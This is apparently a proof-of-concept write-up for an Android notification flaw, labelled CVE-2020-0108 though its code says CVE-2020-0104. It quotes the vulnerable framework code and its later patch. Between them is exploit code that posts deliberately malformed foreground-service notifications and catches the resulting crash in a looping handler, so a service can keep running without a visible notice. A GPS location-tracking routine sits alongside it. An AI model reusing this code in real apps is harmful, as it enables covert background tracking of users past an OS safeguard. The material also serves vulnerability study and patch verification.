
PoC of CVE-2020-0108
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
}
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
final int appUid = appInfo.uid;
final int appPid = app.pid;
if (foregroundId != 0 && foregroundNoti != null) {
//...
ams.mHandler.post(new Runnable() {
public void run() {
//...
try {
//...
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.setServiceForeground(instanceName, ServiceRecord.this,
0, null, 0, 0);
ams.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground: " + e);
}
}
});
}
}
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
// Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setCustomBigContentView(remoteViews)
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(1, notification);
// Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
while (true) {
try {
Looper.loop();
} catch (Throwable e) {
e.printStackTrace();
}
}
}
});
// Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
.setContentTitle("Testing CVE-2020-0104")
.setContentText("If you see this means you device is not vulnerable")
.setWhen(System.currentTimeMillis())
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
.build();
startForeground(2, notification);
public void refreshLocation() {
LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
String provider = LocationManager.GPS_PROVIDER;
if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
return;
}
locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
@Override
public void onLocationChanged(Location location) {
double lat = location.getLatitude();
double lng = location.getLongitude();
Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
}
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
}
@Override
public void onProviderEnabled(String provider) {
}
@Override
public void onProviderDisabled(String provider) {
}
});
}
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
int id, int uid, int initialPid, String message, int userId) {
final boolean fgService;
synchronized (mNotificationLock) {
NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
}
cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
REASON_ERROR, null);
if (fgService) {
// Still crash for foreground services, preventing the not-crash behaviour abused
// by apps to give us a garbage notification and silently start a fg service.
Binder.withCleanCallingIdentity(
() -> mAm.crashApplication(uid, initialPid, pkg, -1,
"Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
+ pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
+ message, true /* force */));
}
}
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
Slog.w(TAG, "Error showing notification for service", e);
// If it gave us a garbage notification, it doesn't
// get to be foreground.
ams.mServices.killMisbehavingService(record,
appUid, appPid, localPackageName);
}
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
int appUid, int appPid, String localPackageName) {
synchronized (mAm) {
stopServiceLocked(r);
mAm.crashApplication(appUid, appPid, localPackageName, -1,
"Bad notification for startForeground", true /*force*/);
}
}
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
// If the app is responsive, the scheduled crash will happen as expected
// and then the delayed summary kill will be a no-op.
final ProcessRecord p = proc;
mService.mHandler.postDelayed(
() -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
5000L);
}